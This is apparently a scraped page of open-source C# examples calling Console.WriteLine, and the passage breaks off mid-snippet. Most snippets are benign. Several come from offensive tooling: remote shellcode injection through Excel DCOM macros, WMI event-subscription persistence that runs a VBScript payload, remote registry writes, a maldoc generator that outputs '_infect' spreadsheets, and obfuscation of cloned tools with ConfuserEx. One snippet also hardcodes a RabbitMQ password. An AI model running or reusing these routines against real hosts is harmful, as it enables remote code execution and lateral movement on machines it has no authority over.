System.Console.WriteLine(string, object)

Here are the examples of the csharp api System.Console.WriteLine(string, object) taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.

3658 Examples 7

19 View Source File : FileLogger.cs
License : MIT License
Project Creator : adrianmteo

internal override void WriteMessage(string message)
        {
            ReaderWriterLockSlim currentLock = _allLocks[Path];

            try
            {
                currentLock.EnterWriteLock();

                using (StreamWriter writer = File.AppendText(Path))
                {
                    writer.WriteLine(message);
                    writer.Flush();
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine("Error while writing log to file: {1}", ex.Message);
            }
            finally
            {
                currentLock.ExitWriteLock();
            }
        }

19 View Source File : Program.cs
License : GNU General Public License v3.0
Project Creator : Aetsu

static void replacedyzeTools(string toolName)
        {
            string outputFolder = string.Empty;
            string toolPath = string.Empty;
            if (!File.Exists(@"Tools\" + toolName + ".yml"))
            {
                Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine("         Error -> {0} tool not supported", toolName);
                Helpers.LogToFile("replacedyzeTools", "ERROR", "<" + toolName + "> not supported");
                Console.ResetColor();
                return;
            }
            string text = File.ReadAllText(@"Tools\" + toolName + ".yml");
            var stringReader = new StringReader(text);
            var yaml = new YamlStream();
            yaml.Load(stringReader);
            var mapping = (YamlMappingNode)yaml.Doreplacedents[0].RootNode;

            foreach (var entry in mapping.Children)
            {
                var items = (YamlSequenceNode)mapping.Children[new YamlScalarNode("tool")];
                foreach (YamlMappingNode item in items)
                {
                    Console.ForegroundColor = ConsoleColor.Cyan;
                    Console.WriteLine("\n[+] Name: {0}", item.Children[new YamlScalarNode("name")]);
                    Console.ResetColor();
                    Console.WriteLine("     - Description: {0}\n     - Git link: {1}\n     - Solution file: {2}\n",
                        item.Children[new YamlScalarNode("description")],
                        item.Children[new YamlScalarNode("gitLink")],
                        item.Children[new YamlScalarNode("solutionPath")]);
                    try
                    {
                        toolPath = Build.DownloadRepository(item.Children[new YamlScalarNode("name")].ToString()
                            , item.Children[new YamlScalarNode("gitLink")].ToString());
                        outputFolder = Build.BuildTool(
                                item.Children[new YamlScalarNode("solutionPath")].ToString(),
                                item.Children[new YamlScalarNode("name")].ToString());
                        if (Helpers.ExecuteCommand("RMDIR \"" + toolPath + "\" /S /Q") != 0)
                        {
                            Console.ForegroundColor = ConsoleColor.Red;
                            Console.WriteLine("         Error -> RMDIR: {0}", toolPath);
                            Helpers.LogToFile("replacedyzeTools", "ERROR", "RMDIR: <" + toolPath + ">");
                            Console.ResetColor();
                        }
                        Build.Confuse(outputFolder);
                        Helpers.CalculateMD5Files(outputFolder);
                        Console.ForegroundColor = ConsoleColor.Magenta;
                        Console.WriteLine("     Output folder: {0}", outputFolder);
                        Console.ResetColor();
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine("         Error -> replacedyzing: <{0}> -> {1}", item.Children[new YamlScalarNode("name")], ex.ToString());
                        Helpers.LogToFile("replacedyzeTools", "ERROR", "replacedyzing: <" + item.Children[new YamlScalarNode("name")] + "> -> " + ex.ToString());
                    }
                }
            }

        }

19 View Source File : Program.cs
License : Apache License 2.0
Project Creator : aaaddress1

static void Main(string[] args)
        {
            printMenu();
            Encoding.RegisterProvider(CodePagesEncodingProvider.Instance);
            if (args.Length < 1) {
                log("usage: xlsKami.exe [path/to/xls]", ConsoleColor.Red);
                return;
            }

            WorkbookEditor wbe;


            try {
                wbe = new WorkbookEditor(LoadDecoyDoreplacedent(args[0]));
            }
            catch (Exception e) {
                log(e.Message, ConsoleColor.Red);
                return;
            }
            
            for (bool bye = false; !bye; ) {
                try {
                    printMenu(showMenu: true, loadXlsPath: args[0]);
                    
                    switch (Convert.ToInt32(Console.ReadLine())) {

                        case 1:
                            log("[+] Enter Mode: Label Patching\n", ConsoleColor.Cyan);
                            wbe = cmd_ModifyLabel(wbe);
                            log("[+] Exit Mode\n", ConsoleColor.Cyan);
                            break;

                        case 2:
                            log("[+] Enter Mode: Sheet Patching\n", ConsoleColor.Cyan);
                            wbe = cmd_ModifySheet(wbe);
                            log("[!] Exit Mode\n", ConsoleColor.Cyan);
                            break;

                        case 3:
                            WorkbookStream createdWorkbook = wbe.WbStream;
                            ExcelDocWriter writer = new ExcelDocWriter();
                            string outputPath = args[0].Insert(args[0].LastIndexOf('.'), "_infect");
                            Console.WriteLine("Writing generated doreplacedent to {0}", outputPath);
                            writer.WriteDoreplacedent(outputPath, createdWorkbook, null);
                            bye = true;
                            break;

                        case 4:
                            bye = true;
                            break;


                    }
                }
                catch (Exception) { }
            }

            Console.WriteLine("Thanks for using xlsKami\nbye.\n");
        }

19 View Source File : Program.cs
License : MIT License
Project Creator : actions

static int Main(String[] args)
        {
            if (args != null && args.Length == 1 && args[0].Equals("init", StringComparison.InvariantCultureIgnoreCase))
            {
                // TODO: LOC all strings.
                if (!EventLog.Exists("Application"))
                {
                    Console.WriteLine("[ERROR] Application event log doesn't exist on current machine.");
                    return 1;
                }

                EventLog applicationLog = new EventLog("Application");
                if (applicationLog.OverflowAction == OverflowAction.DoNotOverwrite)
                {
                    Console.WriteLine("[WARNING] The retention policy for Application event log is set to \"Do not overwrite events\".");
                    Console.WriteLine("[WARNING] Make sure manually clear logs as needed, otherwise RunnerService will stop writing output to event log.");
                }

                try
                {
                    EventLog.WriteEntry(RunnerService.EventSourceName, "create event log trace source for actions-runner service", EventLogEntryType.Information, 100);
                    return 0;
                }
                catch (Win32Exception ex)
                {
                    Console.WriteLine("[ERROR] Unable to create '{0}' event source under 'Application' event log.", RunnerService.EventSourceName);
                    Console.WriteLine("[ERROR] {0}",ex.Message);
                    Console.WriteLine("[ERROR] Error Code: {0}", ex.ErrorCode);
                    return 1;
                }
            }

            ServiceBase[] ServicesToRun;
            ServicesToRun = new ServiceBase[]
            {
                new RunnerService(args.Length > 0 ? args[0] : "ActionsRunnerService")
            };
            ServiceBase.Run(ServicesToRun);

            return 0;
        }

19 View Source File : PackageTest.cs
License : GNU General Public License v3.0
Project Creator : AaronKelley

private static bool DellSmbiosBzhTest()
        {
            try
            {
                Console.WriteLine("Running DellSmbiosBzhLib test.");

                if (!DellSmbiosBzh.Initialize())
                {
                    Console.WriteLine("  Failed to load driver.");
                    return false;
                }

                uint? result = DellSmbiosBzh.GetFanRpm(BzhFanIndex.Fan1);
                Console.WriteLine("  Fan 1 RPM: {0}", result);

                DellSmbiosBzh.Shutdown();
            }
            catch (Exception exception)
            {
                Console.Error.WriteLine("{0}: {1}\n{2}", exception.GetType().ToString(), exception.Message, exception.StackTrace);
                return false;
            }

            Console.WriteLine("  ...Preplaceded.");
            return true;
        }

19 View Source File : ExcelDCOM.cs
License : GNU General Public License v3.0
Project Creator : 0xthirteen

static void ExecExcelDCOM(string computername, string arch)
        {
            try
            {
                Type ComType = Type.GetTypeFromProgID("Excel.Application", computername);
		object RemoteComObject = Activator.CreateInstance(ComType);
                int lpAddress;
                if (arch == "x64")
                {
                    lpAddress = 1342177280;
                }
                else
                {
                    lpAddress = 0;
                }
                string strfn = ("$$PAYLOAD$$");
                byte[] benign = Convert.FromBase64String(strfn);

                var memaddr = Convert.ToDouble(RemoteComObject.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, RemoteComObject, new object[] { "CALL(\"Kernel32\",\"VirtualAlloc\",\"JJJJJ\"," + lpAddress + "," + benign.Length + ",4096,64)" }));
                int count = 0;
                foreach (var mybyte in benign)
                {
                    var charbyte = String.Format("CHAR({0})", mybyte);
                    var ret = RemoteComObject.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, RemoteComObject, new object[] { "CALL(\"Kernel32\",\"WriteProcessMemory\",\"JJJCJJ\",-1, " + (memaddr + count) + "," + charbyte + ", 1, 0)" });
                    count = count + 1;
                }
                RemoteComObject.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, RemoteComObject, new object[] { "CALL(\"Kernel32\",\"CreateThread\",\"JJJJJJJ\",0, 0, " + memaddr + ", 0, 0, 0)" });
                Console.WriteLine("[+] Executing against      :   {0}", computername);
            }
            
            catch (Exception e)
            {
                Console.WriteLine("[-] Error: {0}", e.Message);
            }
            
        }

19 View Source File : Build.cs
License : GNU General Public License v3.0
Project Creator : Aetsu

public static string DownloadRepository(string toolName, string url)
        {
            string path = "GitTools";
            try
            {
                if (!Directory.Exists(path))
                {
                    DirectoryInfo di = Directory.CreateDirectory(path);
                }
            }
            catch (Exception e)
            {
                Console.WriteLine("The process failed: {0}", e.ToString());
            }
            string toolPath = Path.Combine(new string[] { path, toolName });
            if (!Directory.Exists(toolPath))
            {
                Console.ForegroundColor = ConsoleColor.Yellow;
                Console.WriteLine("     Clonnig the repository: {0}", toolName);
                Console.ResetColor();
                Repository.Clone(url, toolPath);
                using (var repo = new Repository(toolPath))
                {
                    var commit = repo.Head.Tip;
                    Console.WriteLine(@"        Last commit: {0}", commit.Author.When.ToLocalTime());
                }
            }
            return toolPath;
        }

19 View Source File : Program.cs
License : GNU General Public License v3.0
Project Creator : 0xthirteen

static void WriteToFileWMI(string host, string eventName, string username, string preplacedword)
        {
            try
            {
                ConnectionOptions options = new ConnectionOptions();
                if (!String.IsNullOrEmpty(username))
                {
                    Console.WriteLine("[*] User credentials   : {0}", username);
                    options.Username = username;
                    options.Preplacedword = preplacedword;
                }
                Console.WriteLine();

                // first create a 5 second timer on the remote host
                ManagementScope timerScope = new ManagementScope(string.Format(@"\\{0}\root\cimv2", host), options);
                ManagementClreplaced timerClreplaced = new ManagementClreplaced(timerScope, new ManagementPath("__IntervalTimerInstruction"), null);
                ManagementObject myTimer = timerClreplaced.CreateInstance();
                myTimer["IntervalBetweenEvents"] = (UInt32)5000;
                myTimer["SkipIfPreplaceded"] = false;
                myTimer["TimerId"] = "Timer";
                try
                {
                    Console.WriteLine("[+] Creating Event Subscription {0}   : {1}", eventName, host);
                    myTimer.Put();
                }
                catch (Exception ex)
                {
                    Console.WriteLine("[X] Exception in creating timer object: {0}", ex.Message);
                    return;
                }

                ManagementScope scope = new ManagementScope(string.Format(@"\\{0}\root\subscription", host), options);

                // then install the __EventFilter for the timer object
                ManagementClreplaced wmiEventFilter = new ManagementClreplaced(scope, new ManagementPath("__EventFilter"), null);
                WqlEventQuery myEventQuery = new WqlEventQuery(@"SELECT * FROM __TimerEvent WHERE TimerID = 'Timer'");
                ManagementObject myEventFilter = wmiEventFilter.CreateInstance();
                myEventFilter["Name"] = eventName;
                myEventFilter["Query"] = myEventQuery.QueryString;
                myEventFilter["QueryLanguage"] = myEventQuery.QueryLanguage;
                myEventFilter["EventNameSpace"] = @"\root\cimv2";
                try
                {
                    myEventFilter.Put();
                }
                catch (Exception ex)
                {
                    Console.WriteLine("[X] Exception in setting event filter   : {0}", ex.Message);
                }


                // now create the ActiveScriptEventConsumer payload (VBS)
                ManagementObject myEventConsumer = new ManagementClreplaced(scope, new ManagementPath("ActiveScriptEventConsumer"), null).CreateInstance();

                myEventConsumer["Name"] = eventName;
                myEventConsumer["ScriptingEngine"] = "VBScript";
                myEventConsumer["ScriptText"] = vbsp;
                myEventConsumer["KillTimeout"] = (UInt32)45;

                try
                {
                    myEventConsumer.Put();
                }
                catch (Exception ex)
                {
                    Console.WriteLine("[X] Exception in setting event consumer: {0}", ex.Message);
                }


                // finally bind them together with a __FilterToConsumerBinding
                ManagementObject myBinder = new ManagementClreplaced(scope, new ManagementPath("__FilterToConsumerBinding"), null).CreateInstance();

                myBinder["Filter"] = myEventFilter.Path.RelativePath;
                myBinder["Consumer"] = myEventConsumer.Path.RelativePath;

                try
                {
                    myBinder.Put();
                }
                catch (Exception ex)
                {
                    Console.WriteLine("[X] Exception in setting FilterToConsumerBinding: {0}", ex.Message);
                }


                // wait for everything to trigger
                Console.WriteLine("\r\n[+] Waiting 10 seconds for event '{0}' to trigger\r\n", eventName);
                System.Threading.Thread.Sleep(10 * 1000);
                Console.WriteLine("[+] Done...cleaning up");
                // cleanup
                try
                {
                    myTimer.Delete();
                }
                catch (Exception ex)
                {
                    Console.WriteLine("[X] Exception in removing 'Timer' interval timer: {0}", ex.Message);
                }

                try
                {
                    myBinder.Delete();
                }
                catch (Exception ex)
                {
                    Console.WriteLine("[X] Exception in removing FilterToConsumerBinding: {0}", ex.Message);
                }

                try
                {
                    myEventFilter.Delete();
                }
                catch (Exception ex)
                {
                    Console.WriteLine("[X] Exception in removing event filter: {0}", ex.Message);
                }

                try
                {
                    myEventConsumer.Delete();
                }
                catch (Exception ex)
                {
                    Console.WriteLine("[X] Exception in removing event consumer: {0}", ex.Message);
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(String.Format("[X] Exception : {0}", ex.Message));
            }
        }

19 View Source File : TxtRecorder.cs
License : Mozilla Public License 2.0
Project Creator : agebullhu

public void Initialize()
        {
            try
            {
                var sec = ConfigurationManager.Get("LogRecorder");
                if (sec != null)
                {
                    var cfgpath = sec["txtPath"];
                    if (string.IsNullOrWhiteSpace(cfgpath))
                    {
                        cfgpath = IOHelper.CheckPath(Environment.CurrentDirectory, "logs");
                        sec["txtPath"] = cfgpath;
                    }
                    LogRecorderX.LogPath = cfgpath;
                    SplitNumber = sec.GetInt("split", 10) * 1024 * 1024;
                    DayFolder = sec.GetBool("dayFolder", true);
                    MinFreeSize = sec.GetInt("minFreeSize", 1024);
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.ToString(), "TextRecorder.Initialize Config");
            }

            try
            {
                if (string.IsNullOrWhiteSpace(LogPath))
                {
                    LogRecorderX.LogPath = IOHelper.CheckPath(Environment.CurrentDirectory, "logs");
                    SplitNumber = 10240 * 1024;
                    DayFolder = true;
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.ToString(), "TextRecorder.Initialize LogPath");
            }
            Trace.Listeners.Add(this);
            IsInitialized = true;
        }

19 View Source File : Program.cs
License : GNU General Public License v3.0
Project Creator : 0xthirteen

static void WriteToRegKey(string host, string username, string preplacedword, string keypath, string valuename)
        {
            if (!keypath.Contains(":"))
            {
                Console.WriteLine("[-] Please put ':' inbetween hive and path: HKCU:Location\\Of\\Key");
                return;
            }
            string[] reginfo = keypath.Split(':');
            string reghive = reginfo[0];
            string wmiNameSpace = "root\\CIMv2";
            UInt32 hive = 0;
            switch (reghive.ToUpper())
            {
                case "HKCR":
                    hive = 0x80000000;
                    break;
                case "HKCU":
                    hive = 0x80000001;
                    break;
                case "HKLM":
                    hive = 0x80000002;
                    break;
                case "HKU":
                    hive = 0x80000003;
                    break;
                case "HKCC":
                    hive = 0x80000005;
                    break;
                default:
                    Console.WriteLine("[X] Error     :  Could not get the right reg hive");
                    return;
            }
            ConnectionOptions options = new ConnectionOptions();
            Console.WriteLine("[+] Target             : {0}", host);
            if (!String.IsNullOrEmpty(username))
            {
                Console.WriteLine("[+] User               : {0}", username);
                options.Username = username;
                options.Preplacedword = preplacedword;
            }
            Console.WriteLine();
            ManagementScope scope = new ManagementScope(String.Format("\\\\{0}\\{1}", host, wmiNameSpace), options);
            try
            {
                scope.Connect();
                Console.WriteLine("[+] WMI connection established");
            }
            catch (Exception ex)
            {
                Console.WriteLine("[X] Failed to connect to to WMI    : {0}", ex.Message);
                return;
            }

            try
            {
                //Probably stay with string value only
                ManagementClreplaced registry = new ManagementClreplaced(scope, new ManagementPath("StdRegProv"), null);
                ManagementBaseObject inParams = registry.GetMethodParameters("SetStringValue");
                inParams["hDefKey"] = hive;
                inParams["sSubKeyName"] = reginfo[1];
                inParams["sValueName"] = valuename;
                inParams["sValue"] = datavals;
                ManagementBaseObject outParams = registry.InvokeMethod("SetStringValue", inParams, null);
                if(Convert.ToInt32(outParams["ReturnValue"]) == 0)
                {
                    Console.WriteLine("[+] Created {0} {1} and put content inside", keypath, valuename);
                }
                else
                {
                    Console.WriteLine("[-] An error occured, please check values");
                    return;
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(String.Format("[X] Error      :  {0}", ex.Message));
                return;
            }
        }

19 View Source File : IntegrationTests.cs
License : MIT License
Project Creator : Abc-Arbitrage

[Test]
        public void should_not_allocate()
        {
            const int count = 1000000;

            GC.Collect(2, GCCollectionMode.Forced, true);
            var timer = Stopwatch.StartNew();
            var gcCount = GC.CollectionCount(0);

            var logger = LogManager.GetLogger(typeof(IntegrationTests));
            for (var i = 0; i < count; i++)
            {
                Thread.Sleep(1);
                logger.Info().Append("Hello").Log();
            }

            LogManager.Shutdown();
            var gcCountAfter = GC.CollectionCount(0);
            timer.Stop();

            Console.WriteLine("BCL  : {0} us/log", timer.ElapsedMilliseconds * 1000.0 / count);
            Console.WriteLine("GCs  : {0}", gcCountAfter - gcCount);
        }

19 View Source File : Program.cs
License : Apache License 2.0
Project Creator : Aaronontheweb

static int Main(string[] args)
        {
            var mongoConnectionString = Environment.GetEnvironmentVariable("MONGO_CONNECTION_STR")?.Trim();
            if (string.IsNullOrEmpty(mongoConnectionString))
            {
                Console.WriteLine("ERROR! MongoDb connection string not provided. Can't start.");
                return -1;
            }
            else
            {
                Console.WriteLine("Connecting to MongoDb at {0}", mongoConnectionString);
            }

            var config = File.ReadAllText("app.conf");
            var conf = ConfigurationFactory.ParseString(config).WithFallback(GetMongoHocon(mongoConnectionString))
                .WithFallback(OpsConfig.GetOpsConfig())
                .WithFallback(ClusterSharding.DefaultConfig())
                .WithFallback(DistributedPubSub.DefaultConfig());

            var actorSystem = ActorSystem.Create("AkkaTrader", conf.BootstrapFromDocker());

            Cluster.Cluster.Get(actorSystem).RegisterOnMemberUp(() =>
            {
                var sharding = ClusterSharding.Get(actorSystem);

                var shardRegion = sharding.Start("orderBook", s => OrderBookActor.PropsFor(s), ClusterShardingSettings.Create(actorSystem),
                    new StockShardMsgRouter());
            });

            // start Petabridge.Cmd (for external monitoring / supervision)
            var pbm = PetabridgeCmd.Get(actorSystem);
            pbm.RegisterCommandPalette(ClusterCommands.Instance);
            pbm.RegisterCommandPalette(ClusterShardingCommands.Instance);
            pbm.RegisterCommandPalette(RemoteCommands.Instance);
            pbm.Start();

            actorSystem.WhenTerminated.Wait();
            return 0;
        }

19 View Source File : Client.cs
License : BSD 3-Clause "New" or "Revised" License
Project Creator : 0xthirteen

private void RdpConnectionOnOnDisconnected(object sender, IMsTscAxEvents_OnDisconnectedEvent e)
        {
            DisconnectCode = e.discReason;
            var dire = Enum.GetName(typeof(DisconnectReasons), (uint)DisconnectCode);
            Console.WriteLine("[+] Connection closed     :  {0}", target);
            if(e.discReason != 1)
            {
                Console.WriteLine("[-] Disconnection Reason  :  {0} - {1}", DisconnectCode, dire);
            }
            Environment.Exit(0);
        }

19 View Source File : RpcServer.cs
License : MIT License
Project Creator : ad313

public static void Start()
        {
            var factory = new ConnectionFactory()
            {
                // 这是我这边的配置,自己改成自己用就好
                HostName = "192.168.1.120",
                UserName = "admin",
                Preplacedword = "123456",
                Port = 30483,
                VirtualHost = "/"
            };

            var connection = factory.CreateConnection();
            var channel = connection.CreateModel();
            
                channel.QueueDeclare(queue: "rpc_queue", durable: false, exclusive: false, autoDelete: false, arguments: null);
                channel.BasicQos(0, 1, false);
                var consumer = new EventingBasicConsumer(channel);
                channel.BasicConsume(queue: "rpc_queue", autoAck: false, consumer: consumer);
                Console.WriteLine(" [x] Awaiting RPC requests");

                consumer.Received += (model, ea) =>
                {
                    string response = null;

                    var body = ea.Body.ToArray();
                    var props = ea.BasicProperties;
                    var replyProps = channel.CreateBasicProperties();
                    replyProps.CorrelationId = props.CorrelationId;

                    try
                    {
                        var message = Encoding.UTF8.GetString(body);
                        int n = int.Parse(message);
                        Console.WriteLine(" [.] fib({0})", message);
                        response = fib(n).ToString();
                    }
                    catch (Exception e)
                    {
                        Console.WriteLine(" [.] " + e.Message);
                        response = "";
                    }
                    finally
                    {
                        var responseBytes = Encoding.UTF8.GetBytes(response);
                        channel.BasicPublish(exchange: "", routingKey: props.ReplyTo, basicProperties: replyProps, body: responseBytes);
                        channel.BasicAck(deliveryTag: ea.DeliveryTag, multiple: false);
                    }
                };

                Console.WriteLine(" Press [enter] to exit.");
                //Console.ReadLine();
            
        }

19 View Source File : Program.cs
License : BSD 3-Clause "New" or "Revised" License
Project Creator : 0xthirteen

static void QueryReg()
        {
            try
            {
                string keypath = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU";
                Console.WriteLine("Current HKCU:{0} values", keypath);
                RegistryKey regkey;
                regkey = Registry.CurrentUser.OpenSubKey(keypath, true);
                if (regkey.ValueCount > 0)
                {
                    foreach (string subKey in regkey.GetValueNames())
                    {
                        Console.WriteLine("[+]  Key Name : {0}", subKey);
                        Console.WriteLine("        Value : {0}", regkey.GetValue(subKey).ToString());
                        Console.WriteLine();
                    }
                }
                regkey.Close();
            }
            catch (Exception ex)
            {
                Console.WriteLine("[-] Error: {0}", ex.Message);
            }
        }

19 View Source File : MethodVirtualizer.cs
License : GNU General Public License v3.0
Project Creator : Aekras1a

public ScopeBlock Load(MethodDef method, bool isExport)
        {
            try
            {
                Method = method;
                IsExport = isExport;

                Init();
                BuildILAST();
                TransformILAST();
                BuildVMIR();
                TransformVMIR();
                BuildVMIL();
                TransformVMIL();
                Deinitialize();

                var scope = RootScope;
                RootScope = null;
                Method = null;
                return scope;
            }
            catch(Exception ex)
            {
                Console.WriteLine(string.Format("Failed to translate method {0}.", method), ex);
                var scope = RootScope;
                RootScope = null;
                Method = null;
                return scope;
                //throw new Exception(string.Format("Failed to translate method {0}.", method), ex);
            }
        }

19 View Source File : Program.cs
License : MIT License
Project Creator : 8bitbytes

public static int Main()
        {
            bool done = false;
            UdpClient listener = new UdpClient(listenPort);
            IPEndPoint groupEP = new IPEndPoint(IPAddress.Any, listenPort);
            string received_data;
            byte[] receive_byte_array;
            try
            {
                while (!done)
                {
                    Console.WriteLine("Waiting for broadcast");
                    receive_byte_array = listener.Receive(ref groupEP);
                    Console.WriteLine("Received a broadcast from {0}", groupEP.ToString());
                    received_data = Encoding.ASCII.GetString(receive_byte_array, 0, receive_byte_array.Length);
                    Console.WriteLine("data follows \n{0}\n\n", received_data);
                    if (received_data.IndexOf("?") > -1)
                    {
                        var resp = processRequestReponseMessage(received_data);
                        SendMessage(listener, resp, groupEP);
                    }
                    else
                    {
                        processCommand(received_data);
                        SendMessage(listener, "OK", groupEP);
                    }
                }
            }
            catch (Exception e)
            {
                writeErrorMessage(e.ToString());
                SendMessage(listener, e.Message, groupEP);
            }
            listener.Close();
            return 0;
        }

19 View Source File : Build.cs
License : GNU General Public License v3.0
Project Creator : Aetsu

public static void Confuse(string folder)
        {
            string[] exeList = Directory.GetFiles(folder, "*.exe");
            foreach (string exe in exeList)
            {
                string text = File.ReadAllText(Path.Combine(new string[] { Directory.GetCurrentDirectory(), "Resources", "template_confuserEx.crproj" }));
                text = text.Replace("{{BASE_DIR}}", folder);
                text = text.Replace("{{OUTPUT_DIR}}", Path.Combine(new string[] { folder, "Confused" }));
                text = text.Replace("{{EXE_FILE}}", exe);
                string crprojPath = Path.Combine(new string[] { folder, exe + ".crproj" });
                System.IO.File.WriteAllText(crprojPath, text);
                Console.ForegroundColor = ConsoleColor.Yellow;
                Console.WriteLine("     Confusing " + exe + "...");
                Console.ResetColor();
                if (Helpers.ExecuteCommand(
                    Path.Combine(new string[] { Directory.GetCurrentDirectory(), "Resources", "ConfuserEx", "Confuser.CLI.exe" }) + " " + crprojPath) != 0)
                {
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine("         Error -> ConfuserEx: {0}", exe);
                    Console.ResetColor();
                }
                else
                {
                    Console.ForegroundColor = ConsoleColor.Green;
                    Console.WriteLine("         No errors!");
                    Console.ResetColor();
                }
            }
        }

19 View Source File : FLRPC.cs
License : GNU General Public License v3.0
Project Creator : 0x2b00b1e5

private static void OnClose(object sender, CloseMessage args)
        {
            //This is called when our client has closed. The client can no longer send or receive events after this message.
            // Connection will automatically try to re-establish and another OnReady will be called (unless it was disposed).
            Console.WriteLine("Lost Connection with client because of '{0}'", args.Reason);
        }

19 View Source File : SampleClient.cs
License : MIT License
Project Creator : agalasso

static void Main(string[] args)
        {
            string host = "localhost";
            if (args.Length > 0)
                host = args[0];

            try
            {
                using (Guider guider = Guider.Factory(host))
                {
                    // connect to PHD2

                    guider.Connect();

                    // get the list of equipment profiles

                    foreach (var p in guider.GetEquipmentProfiles())
                    {
                        Console.WriteLine("profile: {0}", p);
                    }

                    // connect equipment in profile "Simulator"

                    string profile = "Simulator";
                    Console.WriteLine("connect profile {0}", profile);

                    guider.ConnectEquipment(profile);

                    // start guiding

                    double settlePixels = 2.0;
                    double settleTime = 10.0;
                    double settleTimeout = 100.0;

                    Console.WriteLine("guide");

                    guider.Guide(settlePixels, settleTime, settleTimeout);

                    // wait for settling to complete

                    WaitForSettleDone(guider);

                    // monitor guiding for a little while

                    for (int i = 0; i < 15; i++)
                    {
                        GuideStats stats = guider.GetStats();

                        string state;
                        double avgDist;
                        guider.GetStatus(out state, out avgDist);

                        Console.WriteLine("{0} dist={1:F1} rms={2:F1} ({3:F1}, {4:F1}) peak = {5:F1}, {6:F1}",
                               state, avgDist,
                               stats.rms_tot, stats.rms_ra, stats.rms_dec, stats.peak_ra, stats.peak_dec);

                        System.Threading.Thread.Sleep(1000);
                    }

                    // Pause/resume guiding

                    Console.WriteLine("pause for 5s");
                    guider.Pause();
                    System.Threading.Thread.Sleep(5000);
                    Console.WriteLine("un-pause");
                    guider.Unpause();

                    // dither

                    double ditherPixels = 3.0;

                    Console.WriteLine("dither");

                    guider.Dither(ditherPixels, settlePixels, settleTime, settleTimeout);

                    // wait for settle

                    WaitForSettleDone(guider);

                    // stop guiding

                    Console.WriteLine("stop\n");

                    guider.StopCapture();

                    // disconnect from PHD2 (optional in this case since we've got a using() block to take care of it)
                    guider.Close();
                }
            }
            catch (Exception err)
            {
                Console.WriteLine("Error: {0}", err.Message);
            }
        }

19 View Source File : BitstampTest.cs
License : MIT License
Project Creator : aabiryukov

public static void Test()
		{
			var ticker = BitstampApi.GetTicker();
			Console.WriteLine(ticker.Last);

			var trans = BitstampApi.GetTransactions();
			Console.WriteLine("trans.Count=" + trans.Count);
			var orderBook = BitstampApi.GetOrderBook();
			Console.WriteLine("orderBook.Asks.Count=" + orderBook.Asks.Count);

			var api = new BitstampApi(ApiKey, ApiSecret, ClientId);

			var balance = api.GetBalance();
			Console.WriteLine(balance);

			var openOrders = api.GetOpenOrders();
			Console.WriteLine("Open orders: {0}", openOrders.Count());

			var cancelResult = api.CancelOrder(12345);
			Console.WriteLine("CancelOrder: {0}", cancelResult);

			var sellAnswer = api.Sell(12456.3M, 2);
			Console.WriteLine("Sell: {0}", sellAnswer);

			var buyAnswer = api.Buy(12.3M, 1);
			Console.WriteLine("Buy: {0}", buyAnswer);

/*
			Console.WriteLine(info);
			var transHistory = btceApi.GetTransHistory();
			Console.WriteLine(transHistory);
			var tradeHistory = btceApi.GetTradeHistory(count: 20);
			Console.WriteLine(tradeHistory);
			var orderList = btceApi.ActiveOrders();
			Console.WriteLine(orderList);
//			var tradeAnswer = btceApi.Trade(BtcePair.btc_usd, TradeType.Sell, 20, 0.1m);
//			var cancelAnswer = btceApi.CancelOrder(tradeAnswer.OrderId);
*/

		}

19 View Source File : DellFanCmd.cs
License : GNU General Public License v3.0
Project Creator : AaronKelley

public static int ProcessCommand(string[] args)
        {
            int returnCode = 0;

            try
            {
                if (args.Length != 1)
                {
                    Usage();
                }
                else
                {
                    // Behavior variables.
                    bool disableEcFanControl = false;
                    bool enableEcFanControl = false;
                    bool setFansToMax = false;
                    bool useAlternateCommand = false;
                    bool setFanLevel = false;
                    bool getFanRpm = false;
                    bool runTest = false;
                    BzhFanIndex fanSelection = BzhFanIndex.Fan1;
                    BzhFanLevel fanLevel = BzhFanLevel.Level0;

                    // Figure out what was requested.
                    if (args[0] == "ec-disable")
                    {
                        disableEcFanControl = true;
                        setFansToMax = true;
                    }
                    else if (args[0] == "ec-disable-nofanchg")
                    {
                        disableEcFanControl = true;
                    }
                    else if (args[0] == "ec-enable")
                    {
                        enableEcFanControl = true;
                    }
                    else if (args[0] == "ec-disable-alt")
                    {
                        disableEcFanControl = true;
                        setFansToMax = true;
                        useAlternateCommand = true;
                    }
                    else if (args[0] == "ec-disable-alt-nofanchg")
                    {
                        disableEcFanControl = true;
                        useAlternateCommand = true;
                    }
                    else if (args[0] == "ec-enable-alt")
                    {
                        enableEcFanControl = true;
                        useAlternateCommand = true;
                    }
                    else if (args[0] == "fan1-level0")
                    {
                        setFanLevel = true;
                        fanSelection = BzhFanIndex.Fan1;
                        fanLevel = BzhFanLevel.Level0;
                    }
                    else if (args[0] == "fan1-level1")
                    {
                        setFanLevel = true;
                        fanSelection = BzhFanIndex.Fan1;
                        fanLevel = BzhFanLevel.Level1;
                    }
                    else if (args[0] == "fan1-level2")
                    {
                        setFanLevel = true;
                        fanSelection = BzhFanIndex.Fan1;
                        fanLevel = BzhFanLevel.Level2;
                    }
                    else if (args[0] == "fan2-level0")
                    {
                        setFanLevel = true;
                        fanSelection = BzhFanIndex.Fan2;
                        fanLevel = BzhFanLevel.Level0;
                    }
                    else if (args[0] == "fan2-level1")
                    {
                        setFanLevel = true;
                        fanSelection = BzhFanIndex.Fan2;
                        fanLevel = BzhFanLevel.Level1;
                    }
                    else if (args[0] == "fan2-level2")
                    {
                        setFanLevel = true;
                        fanSelection = BzhFanIndex.Fan2;
                        fanLevel = BzhFanLevel.Level2;
                    }
                    else if (args[0] == "fan3-level0")
                    {
                        setFanLevel = true;
                        fanSelection = BzhFanIndex.Fan3;
                        fanLevel = BzhFanLevel.Level0;
                    }
                    else if (args[0] == "fan3-level1")
                    {
                        setFanLevel = true;
                        fanSelection = BzhFanIndex.Fan3;
